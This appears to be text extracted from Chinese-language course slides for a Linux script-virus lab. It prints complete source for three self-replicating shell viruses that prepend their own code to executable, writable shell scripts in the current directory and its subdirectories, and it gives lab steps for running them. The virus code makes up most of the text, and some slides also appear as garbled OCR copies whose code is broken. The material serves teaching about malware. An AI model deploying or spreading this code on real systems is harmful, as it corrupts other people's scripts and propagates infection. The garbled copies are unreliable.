第三,具有感染机制的Shel病毒 #s hellyirus ills infection head-n 35 $0>.testl #取病毒自身代码并保存到test for file in / #遍历当前目录中的文件 echo Sfile head -n 2 Sfile >.mm #提取要感染的脚本文件的第一行 if grep infection m>mm#判断是否有感染标记 infection then #已经被感染,则跳过 echo " infected fle and rm mm" rm -f. mm #尚未感染,继续执行 if test-f Sfile then echo "test-f if test-x Sfile echo"test→x" if test-w Sfile if grep-s sh Sfile >.mmm echo" test-s and cat cat Sfile >.SAVEE #把病毒代码放在脚本文件的开始部分 cat testl> Sfile #原有代码追加在末尾 cat SA vEE >>Sfile 形成含有病毒代码的脚本文件 fi f rm testl sa vee mmm mm-f#清理工作
• #shellvirus III# 第三,具有感染机制的Shell病毒 • #infection • head -n 35 $0 > .test1 #取病毒自身代码并保存到.test • for file in ./* #遍历当前目录中的文件 • do • echo $file • head -n 2 $file > .mm #提取要感染的脚本文件的第一行 • if grep infection .mm > .mmm #判断是否有感染标记infection • then #已经被感染,则跳过 • echo "infected file and rm .mm" • rm -f .mm • else #尚未感染,继续执行 • if test -f $file • then • echo "test -f" • if test -x $file • then • echo "test -x" • if test -w $file • then • echo "test -w" • if grep -s sh $file > .mmm • then • echo "test -s and cat..." • cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分 • cat .test1 > $file #原有代码追加在末尾 • cat .SAVEE >> $file #形成含有病毒代码的脚本文件 • fi • fi • fi • fi • fi • done • rm .test1 .SAVEE .mmm .mm –f #清理工作
第四,更加晦涩的病毒 #ShellVirus Iv# #infection for file in/*;do#分号(;)表示命令分隔符 if test-f Sfile & test-x Sfile & test-w Sfile then if grep-s sh Sfile >/dev/nul then ·head-n2$file>mm if grep-s infection mm >/dev/nul then rm-f mm. else head -n 14$0>.SAVEE cat Sfile>>. SAVEE cat Save> Sfile fi fi fi one ·rm-f. SAVEE m
第四,更加晦涩的病毒 • #ShellVirus IV# • #infection • for file in ./* ; do #分号(;)表示命令分隔符 • if test -f $file && test -x $file && test -w $file ; then • if grep -s sh $file > /dev/nul ; then • head -n 2 $file > .mm • if grep -s infection .mm > /dev/nul ; then • rm -f .mm ; else • head -n 14 $0 > .SAVEE • cat $file >> .SAVEE • cat .SAVEE > $file • fi fi fi • done • rm -f .SAVEE .mm
第五,感染特定目录的She病毒 #Shellvirus v# #infection #保存当前路径 head -n 22 $0>/ testl for dir in /*k #遍历当前目录 if test -d Sdir #如果有子目录则进入 d Sdir #遍历该目录文件 if test-fSfile & test -x Sfile & test -w Sfile: then if grep-s sh file >/dev/nul then head -n 2 Sfile>.mm if grep-s infection mm >/dev/nul then rm-f. mm. else cat Sfile >/SAVEE #完成感染 cat/ testl>Sfile cat /SAVEE > Sfile fi done done cd Sxtemp rm-f/ testl/ SAVEE mm#清理工作
第五,感染特定目录的Shell病毒 • #ShellVirus V# • #infection • xtemp=$pwd #保存当前路径 • head -n 22 $0 > /.test1 • for dir in ./* ; do #遍历当前目录 • if test -d $dir ; then #如果有子目录则进入 • cd $dir • for file in ./* ; do #遍历该目录文件 • if test -f $file && test -x $file && test -w $file ; then • if grep -s sh $file > /dev/nul ; then • head -n 2 $file > .mm • if grep -s infection .mm > /dev/nul ; then • rm -f .mm ; else • cat $file > /.SAVEE #完成感染 • cat /.test1 > $file • cat /.SAVEE >> $file • fi fi fi • done • cd .. • fi • done • cd $xtemp • rm -f /.test1 /.SAVEE .mm #清理工作
脚本病毒实验 【实验目的】 了解 Linux脚本型病毒的基本编制原理。 了解脚本病毒的感染、破坏机制,进 步认识Linx操作系统下的病毒。 【实验环境】 运行环境 Red hat linux操作系统
脚本病毒实验 • 【实验目的】 • 了解Linux脚本型病毒的基本编制原理。 • 了解脚本病毒的感染、破坏机制,进一 步认识Linux操作系统下的病毒。 • 【实验环境】 • 运行环境Red Hat Linux操作系统
【实验步骤】 文件位置:光盘盘符: Experiment \ LinuxScript该目录下共包含 ⅴ1.sh、v2sh、ⅴ3$h、v4.sh、ⅴ5sh等5个 Linux系统下的脚本 病毒文件。拷贝这些文件到LinuⅨ系统 修改这些病毒为可执行文件 ·创建测试用脚本文件(例如, test . sh),根据病毒感染能力,注意 测试文件的属性、所在目录层次等。 依次执行这5个脚本病毒,察看它们的执行效果。 【实验注意事项】 本病毒程序用于实验目的,请妥善使用 本病毒程序具有一定的破坏力,做实验室注意安全,推荐使用虚 拟机环境。 注意字符格式,防止非法字符存在于*sh文件中
• 【实验步骤】 • 文件位置:光盘盘符: \Experiment\LinuxScript。该目录下共包含 v_1.sh、v_2.sh、v_3.sh、v_4.sh、v_5.sh等5个Linux系统下的脚本 病毒文件。拷贝这些文件到Linux系统。 • 修改这些病毒为可执行文件。 • 创建测试用脚本文件(例如,test.sh),根据病毒感染能力,注意 测试文件的属性、所在目录层次等。 • 依次执行这5个脚本病毒,察看它们的执行效果。 • 【实验注意事项】 • 本病毒程序用于实验目的,请妥善使用。 • 本病毒程序具有一定的破坏力,做实验室注意安全,推荐使用虚 拟机环境。 • 注意字符格式,防止非法字符存在于*.sh文件中